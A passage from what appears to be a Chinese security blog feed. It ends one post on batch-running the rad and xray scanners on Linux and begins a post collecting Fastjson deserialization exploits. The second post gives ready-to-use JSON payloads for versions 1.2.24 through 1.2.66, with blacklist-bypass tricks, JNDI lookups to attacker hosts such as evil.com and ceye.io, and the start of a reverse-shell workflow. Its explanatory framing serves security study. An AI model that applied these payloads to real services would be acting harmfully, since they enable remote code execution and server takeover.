class="params">data1</span>):</span></span><br><span class="line">target = data1</span><br><span class="line">cmd = [<span class="string">&quot;./xray&quot;</span>,<span class="string">&quot;webscan&quot;</span>,<span class="string">&quot;--browser-crawler&quot;</span>,target,<span class="string">&quot;--html-output&quot;</span> ,<span class="string">&quot;report__datetime__.html&quot;</span>]</span><br><span class="line">rsp=subprocess.Popen(cmd)</span><br><span class="line">output, error = rsp.communicate()</span><br><span class="line"><span class="built_in">print</span>(output)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&quot;url.txt&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> text <span class="keyword">in</span> file.readlines():</span><br><span class="line">data1=text.strip(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">main(data1)</span><br></pre></td></tr></table></figure><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><p>安装  <a href="https://www.google.com/chrome/?platform=linux">Chrome</a></p><p>centos7 安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm</span><br><span class="line">yum install -y google-chrome-stable_current_x86_64.rpm</span><br><span class="line">yum install libpcap-devel -y</span><br><span class="line">cp /usr/lib64/libpcap.so /usr/lib64/libpcap.so.0.8</span><br><span class="line">yum update glib2 -y </span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试安装</span></span><br><span class="line">/opt/google/chrome/chrome --version</span><br><span class="line"></span><br><span class="line"><span class="comment">#卸载Google浏览器</span></span><br><span class="line">yum autoremove -y google-chrome</span><br></pre></td></tr></table></figure><p>ubuntu 安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb</span><br><span class="line">sudo apt install ./google-chrome-stable_current_amd64.deb</span><br></pre></td></tr></table></figure><p>再次运行xray你会发现又出现错误了，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[launcher] Failed to get the debug url: [0224/025251.434358:ERROR:zygote_host_impl_linux.cc(90)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.</span><br></pre></td></tr></table></figure><p>原因是chrome的沙箱问题，不能以root用户运行。</p><h3 id="解决方案-1"><a href="#解决方案-1" class="headerlink" title="解决方案"></a>解决方案</h3><p>修改 /usr/bin/ 目录下的 google-chrome 配置文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/bin/google-chrome</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash">找到如下</span></span><br><span class="line">exec -a &quot;$0&quot; &quot;$HERE/chrome&quot; &quot;$@&quot;</span><br><span class="line"><span class="meta">#</span><span class="bash"> <span class="built_in">exec</span> -a <span class="string">&quot;<span class="variable">$0</span>&quot;</span> <span class="string">&quot;<span class="variable">$HERE</span>/chrome&quot;</span> <span class="string">&quot;<span class="variable">$@</span>&quot;</span> 注释掉</span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash">添加</span></span><br><span class="line">exec -a &quot;$0&quot; &quot;$HERE/chrome&quot; &quot;$@&quot; --user-data-dir --no-sandbox</span><br></pre></td></tr></table></figure><p>重新运行xray脚本即可</p><h2 id="0x03-扩展：脚本后台运行"><a href="#0x03-扩展：脚本后台运行" class="headerlink" title="0x03 扩展：脚本后台运行"></a>0x03 扩展：脚本后台运行</h2><p>如果不使用此命令，如果断开 shell 终端，任务会结束</p><p>具体的可以参考这个 <a href="https://www.runoob.com/linux/linux-comm-nohup.html">nohup</a></p><h3 id="后台运行方式一：nohup"><a href="#后台运行方式一：nohup" class="headerlink" title="后台运行方式一：nohup"></a>后台运行方式一：nohup</h3><p>1.后台运行</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup <span class="keyword">python3</span> browerscan.<span class="keyword">py</span> &amp;</span><br></pre></td></tr></table></figure><p>2.查看项目生成的数据</p><blockquote><p>动态显示数据进程</p></blockquote><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">tail</span> -f nohup.txt</span><br></pre></td></tr></table></figure><p>3.查看后台运行</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ps</span> -aux | <span class="keyword">grep</span> <span class="keyword">python3</span></span><br></pre></td></tr></table></figure><p>4.杀死后台</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ps</span> -aux | <span class="keyword">grep</span> <span class="keyword">python3</span> </span><br><span class="line">kill <span class="keyword">python3</span>的UID</span><br></pre></td></tr></table></figure><h3 id="后台运行方式二：screen（推荐）"><a href="#后台运行方式二：screen（推荐）" class="headerlink" title="后台运行方式二：screen（推荐）"></a>后台运行方式二：screen（推荐）</h3><p>系统管理员经常需要SSH 或者telent 远程登录到Linux 服务器，经常运行一些需要很长时间才能完成的任务，比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口，因为它们执行的时间太长了。必须等待它们执行完毕，在此期间不能关掉窗口或者断开连接，否则这个任务就会被杀掉。</p><p>参考链接 <a href="https://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html">https://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html</a></p><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># centos 类型</span></span><br><span class="line">yum install screen -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># Ubuntu 类型</span></span><br><span class="line">sudo apt-get install screen -y</span><br></pre></td></tr></table></figure><p>使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建方式</span></span><br><span class="line">screen         <span class="comment"># 直接进入会话</span></span><br><span class="line"></span><br><span class="line">screen -S <span class="built_in">test</span> <span class="comment"># 创建一个screen 名字为 test</span></span><br><span class="line"></span><br><span class="line">screen vi test.txt <span class="comment"># 会话分离与恢复</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 离开会话还可以恢复</span></span><br><span class="line">ctrl+a，d</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关闭会话</span></span><br><span class="line"><span class="built_in">exit</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询</span></span><br><span class="line">screen -ls  <span class="comment"># 显示已创建的screen终端</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接</span></span><br><span class="line">screen -r 2276 <span class="comment"># 连接 screen_id 为 2276 </span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 清除会话</span></span><br><span class="line">screen -wipe  <span class="comment"># 清除 dead 状态</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 恢复出现问题</span></span><br><span class="line"><span class="comment"># 有时在恢复screen时会出现There is no screen to be resumed matching ****</span></span><br><span class="line">screen -d ****</span><br><span class="line"></span><br><span class="line"><span class="comment"># 当准备下载的时候会出现这个 ，解决方案 按五下 Ctrl + X ,然后离开会话 Ctrl + a，d ，在执行sz test.txt</span></span><br><span class="line">[root@localhost ~]<span class="comment"># sz test.txt </span></span><br><span class="line">�*B00000000000000</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># screen模式无法翻页，鼠标无法滚动问题</span></span><br><span class="line">先按Ctrl+a键，然后释放，然后再按[键即可进入翻页模式。使用鼠标可以滚动</span><br><span class="line"></span><br><span class="line">切回之前模式</span><br><span class="line">Ctrl+c </span><br></pre></td></tr></table></figure><p>快捷键</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Ctrl + a，d   <span class="comment">#暂离当前会话</span></span><br><span class="line">Ctrl + a，c   <span class="comment">#在当前screen会话中创建一个子会话</span></span><br><span class="line">Ctrl + a，w   <span class="comment">#子会话列表</span></span><br><span class="line">Ctrl + a，p   <span class="comment">#上一个子会话</span></span><br><span class="line">Ctrl + a，n   <span class="comment">#下一个子会话</span></span><br><span class="line">Ctrl + a，0-9 <span class="comment">#在第0窗口至第9子会话间切换</span></span><br></pre></td></tr></table></figure><p>所有命令参数</p><ul><li>💚 screen所有命令参数</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">-A 　将所有的视窗都调整为目前终端机的大小。</span><br><span class="line">-d &lt;作业名称&gt; 　将指定的screen作业离线。</span><br><span class="line">-h &lt;行数&gt; 　指定视窗的缓冲区行数。</span><br><span class="line">-m 　即使目前已在作业中的screen作业，仍强制建立新的screen作业。</span><br><span class="line">-r &lt;作业名称&gt; 　恢复离线的screen作业。</span><br><span class="line">-R 　先试图恢复离线的作业。若找不到离线的作业，即建立新的screen作业。</span><br><span class="line">-s 　指定建立新视窗时，所要执行的shell。</span><br><span class="line">-S &lt;作业名称&gt; 　指定screen作业的名称。</span><br><span class="line">-v 　显示版本信息。</span><br><span class="line">-x 　恢复之前离线的screen作业。</span><br><span class="line">-ls或--list 　显示目前所有的screen作业。</span><br><span class="line">-wipe 　检查目前所有的screen作业，并删除已经无法使用的screen作业。</span><br></pre></td></tr></table></figure><p>参考链接</p><p><a href="https://github.com/timwhitez/rad-xray">https://github.com/timwhitez/rad-xray</a></p><p><a href="https://blog.csdn.net/yelllowcong/article/details/80159963">https://blog.csdn.net/yelllowcong/article/details/80159963</a></p><p><a href="https://blog.csdn.net/weixin_42250835/article/details/119983347">https://blog.csdn.net/weixin_42250835/article/details/119983347</a></p>]]></content>
    
    
    <summary type="html">在工作中批量处理遇到的问题，rad+xray在Linux下运行的记录</summary>
    
    
    
    <category term="踩坑记录" scheme="https://fz1lin.com/categories/%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/"/>
    
    
    <category term="环境" scheme="https://fz1lin.com/tags/%E7%8E%AF%E5%A2%83/"/>
    
    <category term="Linux" scheme="https://fz1lin.com/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>Fastjson漏洞利用合集</title>
    <link href="https://fz1lin.com/2022/498480683/"/>
    <id>https://fz1lin.com/2022/498480683/</id>
    <published>2022-08-19T13:19:14.000Z</published>
    <updated>2022-08-20T02:37:03.163Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x01-Fastjson-概述"><a href="#0x01-Fastjson-概述" class="headerlink" title="0x01 Fastjson 概述"></a>0x01 Fastjson 概述</h1><h2 id="1-应用场景"><a href="#1-应用场景" class="headerlink" title="1.应用场景"></a>1.应用场景</h2><h3 id="接口返回数据"><a href="#接口返回数据" class="headerlink" title="接口返回数据"></a>接口返回数据</h3><ol><li>Ajax异步访问数据</li><li>RPC远程调用</li><li>前后端分离后端返回的数据</li><li>开放API(一些公司开放接口的时候，我们点击请求，返回的数据是JSON格式的)</li><li>企业间合作接口(数据对接的时候定义的一种规范，确定入参，出差)</li></ol><h3 id="序列化"><a href="#序列化" class="headerlink" title="序列化"></a>序列化</h3><p>将对象数据转换为JSON格式，利用JSON来实现序列化存储在磁盘中。</p><h3 id="生成Token"><a href="#生成Token" class="headerlink" title="生成Token"></a>生成Token</h3><p>也就是使用json将一些数据封装起来当做访问一些应用的令牌。</p><h3 id="作为配置文件"><a href="#作为配置文件" class="headerlink" title="作为配置文件"></a>作为配置文件</h3><p>eg：<code>npm的package.json</code>包管理配置文件</p><p>不过一般情况下使用json作为配置文件的情况很少，并不建议使用。</p><p><a href="https://www.codeleading.com/article/82974738889/">https://www.codeleading.com/article/82974738889/</a></p><h2 id="2-黑盒测试"><a href="#2-黑盒测试" class="headerlink" title="2.黑盒测试"></a>2.黑盒测试</h2><p>Fastjson是阿里巴巴公司开源的一款JSON解析库，可用于将Java对象转换为其JSON表示形式，也可以用于将JSON字符串转换为等效的Java对象。</p><p>它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span>目标站点如果报错的话一般使用不闭合&#123;花括号或者多添加<span class="string">&quot;双引号来进行测试&quot;</span>  <span class="comment"># &#123;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="number">2.</span>fastjson与jackson区别，如果请求包中的 json 如下:</span><br><span class="line">&#123;<span class="string">&quot;name&quot;</span>:<span class="string">&quot;S&quot;</span>, <span class="string">&quot;age&quot;</span>:<span class="number">21</span>&#125;</span><br><span class="line">追加一个随机 key ,修改 json 为</span><br><span class="line">&#123;<span class="string">&quot;name&quot;</span>:<span class="string">&quot;S&quot;</span>, <span class="string">&quot;age&quot;</span>:<span class="number">21</span>,<span class="string">&quot;agsbdkjada__ss_d&quot;</span>:<span class="number">123</span>&#125;</span><br><span class="line">这里 fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能 少不能多 key,</span><br><span class="line">所以会报错,服务器的响应包中多少会有异常回显</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span>dos检测 dos</span><br><span class="line">&#123;<span class="string">&quot;a:&quot;</span>\x 看返回时间</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span>如果是json字符串中name字段存在反序列化</span><br><span class="line">&#123;<span class="string">&quot;id&quot;</span>:<span class="string">&quot;1&quot;</span>,<span class="string">&quot;name&quot;</span>:<span class="string">&quot;wangwei&quot;</span>&#125;那么poc就是</span><br><span class="line">&#123;<span class="string">&quot;id&quot;</span>:<span class="string">&quot;1&quot;</span>,<span class="string">&quot;name&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.lang.Class&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>&#125;,<span class="string">&quot;x&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,<span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;ldap://fatjaon.tuq75v.ceye.io&quot;</span>,<span class="string">&quot;autoCommit&quot;</span>:true&#125;&#125;</span><br><span class="line"></span><br><span class="line">小tips</span><br><span class="line"><span class="number">1.</span>在测试过程中发现只要回显比较慢，或者感觉卡顿都有可能是正在执行命令，所以比较慢</span><br><span class="line"><span class="number">2.</span>poc.java文件用低版本的java环境编译，因为java是向下兼容的，防止目标环境加载的时候运行报错，最好是jdk1<span class="number">.6</span></span><br></pre></td></tr></table></figure><h1 id="0x02-fastjson-反序列化漏洞原理"><a href="#0x02-fastjson-反序列化漏洞原理" class="headerlink" title="0x02 fastjson 反序列化漏洞原理"></a>0x02 fastjson 反序列化漏洞原理</h1><p><img src="/2022/498480683/image.png" alt="img"> </p><h2 id="名词解释"><a href="#名词解释" class="headerlink" title="名词解释"></a>名词解释</h2><p><strong>@type</strong></p><blockquote><p>指定的解析类，即<code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</code>，Fastjson根据指定类去反序列化得到该类的实例，在默认情况下只会去反序列化public修饰的属性，在poc中，<code>_bytecodes</code>与<code>_name</code>都是私有属性，所以要想反序列化这两个，需要在<code>parseObject()</code>时设置<code>Feature.SupportNonPublicField</code></p></blockquote><h2 id="fastjson-lt-1-2-24"><a href="#fastjson-lt-1-2-24" class="headerlink" title="fastjson&lt;=1.2.24"></a>fastjson&lt;=1.2.24</h2><p>因为不让属性，找错类型<code>@type</code>  引入了<code>autotype</code> ，<code>com.sun.rowset.JdbcRowSetImpl </code>一定会被读取加载</p><p><code>com.sun.rowset.JdbcRowSetImpl</code>是个恶意类，默认对属性不做任何处理，导致了反序列化，可以任意执行命令</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// exp 1.2.24</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://test.com:9999/TouchFile&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:<span class="keyword">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="fastjson-lt-1-2-41"><a href="#fastjson-lt-1-2-41" class="headerlink" title="fastjson&lt;=1.2.41"></a>fastjson&lt;=1.2.41</h2><p>既1.2.25版本之后设置了<code>autoTypeSupport</code>属性默认为<code>false</code>，并且增加了<code>checkAutoType()</code>函数，修复是用了白名单，后面是通过绕过白名单来进行攻击的<code>com.sun.rowset.JdbcRowSetImpl</code>在1.2.25版本被加入了黑名单，fastjson有个判断条件判断类名是否以”<code>L</code>”开头、以”<code>;</code>”结尾，是的话就提取出其中的类名再加载进来，因此在原类名头部加<code>L</code>，尾部加<code>;</code>即可绕过黑名单的同时加载类。</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;Lcom.sun.rowset.JdbcRowSetImpl;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://test.com:9999/TouchFile&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:<span class="keyword">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>autoTypeSupport</code>属性为<code>true</code>才能使用。（fastjson&gt;=1.2.25默认为false）</p><h2 id="fastjson-lt-1-2-42"><a href="#fastjson-lt-1-2-42" class="headerlink" title="fastjson&lt;=1.2.42"></a>fastjson&lt;=1.2.42</h2><p>如果输入类名的开头和结尾是<code>L</code>和<code>;</code>就将头和尾去掉，再进行黑名单验证。 还把黑名单的内容进行了加密，黑名单包类：<a href="https://github.com/LeadroyaL/fastjson-blacklist%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E5%9C%A8%E7%B1%BB%E5%90%8D%E5%A4%96%E9%83%A8%E5%B5%8C%E5%A5%972%E5%B1%82L;%E3%80%82">https://github.com/LeadroyaL/fastjson-blacklist </a>绕过方法，在类名外部嵌套2层<code>L;</code>原类名：<code>com.sun.rowset.JdbcRowSetImpl</code> 绕过：<code> LLcom.sun.rowset.JdbcRowSetImpl;;</code></p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;LLcom.sun.rowset.JdbcRowSetImpl;;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://test.com:9999/TouchFile&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:<span class="keyword">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</p><h2 id="fastjson-lt-1-2-43"><a href="#fastjson-lt-1-2-43" class="headerlink" title="fastjson&lt;=1.2.43"></a>fastjson&lt;=1.2.43</h2><p>fastjson在1.2.43中<code>checkAutoType()</code>函数增加判断开头为<code>LL</code>直接报错。 绕过方法: 根据fastjson判断函数，<code>[</code>开头则提取类名，且后面字符字符为”<code>[</code>“、”<code>&#123;</code>“等，即可正常调用</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;[com.sun.rowset.JdbcRowSetImpl&quot;</span>[&#123;,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://test.com:9999/TouchFile&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:<span class="keyword">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</p><h2 id="fastjson-lt-1-2-45"><a href="#fastjson-lt-1-2-45" class="headerlink" title="fastjson&lt;=1.2.45"></a>fastjson&lt;=1.2.45</h2><p>前提条件：需要目标服务端存在<code>mybatis</code>的jar包，且版本需为<code>3.x.x</code>系列<code>&lt;3.5.0</code>的版本。 使用黑名单绕过，<code>org.apache.ibatis.datasource</code>在<code>1.2.46</code>版本被加入了黑名单 由于在项目中使用的频率也较高，所以影响范围较大。</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;org.apache.ibatis.datasource.jndi.JndiDataSourceFactory&quot;</span>,</span><br><span class="line">        <span class="string">&quot;properties&quot;</span>:&#123;<span class="string">&quot;data_source&quot;</span>:<span class="string">&quot;ldap://localhost:1389/Exploit&quot;</span>&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</p><h2 id="fastjson-lt-1-2-47"><a href="#fastjson-lt-1-2-47" class="headerlink" title="fastjson&lt;=1.2.47"></a>fastjson&lt;=1.2.47</h2><p>对版本小于1.2.48的版本通杀，<code>autoType</code>为关闭状态也可使用。 <code>loadClass</code>中默认<code>cache</code>设置为<code>true</code>，</p><p>(1)首先使用<code>java.lang.Class</code>把获取到的类缓存到<code>mapping</code>中，</p><p>(2)直接从缓存中获取到了<code>com.sun.rowset.JdbcRowSetImpl</code>这个类，绕过了黑名单机制。</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;a&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.lang.Class&quot;</span>,</span><br><span class="line">        <span class="string">&quot;val&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://evil.com:9999/Exploit&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:<span class="keyword">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="fastjson-lt-1-2-62"><a href="#fastjson-lt-1-2-62" class="headerlink" title="fastjson&lt;=1.2.62"></a>fastjson&lt;=1.2.62</h2><p>基于黑名单绕过</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;org.apache.xbean.propertyeditor.JndiConverter&quot;</span>,</span><br><span class="line">  <span class="string">&quot;AsText&quot;</span>:<span class="string">&quot;rmi://127.0.0.1:1099/exploit&quot;</span></span><br><span class="line">&#125;<span class="string">&quot;;</span></span><br></pre></td></tr></table></figure><h2 id="fastjson-lt-1-2-66"><a href="#fastjson-lt-1-2-66" class="headerlink" title="fastjson&lt;=1.2.66"></a>fastjson&lt;=1.2.66</h2><p>关于fastjson&lt;=1.2.66网上相关的利用不多,收集到的几个exp，也是基于黑名单绕过。</p><p>EXP</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;org.apache.shiro.jndi.JndiObjectFactory&quot;</span>,</span><br><span class="line">  <span class="string">&quot;resourceName&quot;</span>:<span class="string">&quot;ldap://192.168.80.1:1389/Calc&quot;</span></span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>autoTypeSupport属性为true才能使用。（fastjson&gt;=1.2.25默认为false）</p><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247486298&amp;idx=1&amp;sn=6c0377e574db63eab2423187240d799c&amp;scene=21#wechat_redirect">https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247486298&amp;idx=1&amp;sn=6c0377e574db63eab2423187240d799c&amp;scene=21#wechat_redirect</a></p><p><a href="https://www.bilibili.com/video/BV1Ab4y1d7w1?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click">https://www.bilibili.com/video/BV1Ab4y1d7w1?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click</a></p><p><a href="https://github.com/LeadroyaL/fastjson-blacklist">https://github.com/LeadroyaL/fastjson-blacklist</a></p><h1 id="0x03-Fastjson-漏洞利用方式"><a href="#0x03-Fastjson-漏洞利用方式" class="headerlink" title="0x03 Fastjson 漏洞利用方式"></a>0x03 Fastjson 漏洞利用方式</h1><p>编写EXP-&gt;启动python服务器-&gt;启动rmi 监听-&gt; 发送poc-&gt;成功反弹shell</p><p>需要 Java 环境</p><h3 id="编译EXP"><a href="#编译EXP" class="headerlink" title="编译EXP"></a>编译EXP</h3><p>将代码编写为class类文件，并将生成的类文件放在web目录下，并启动web服务</p><p><a 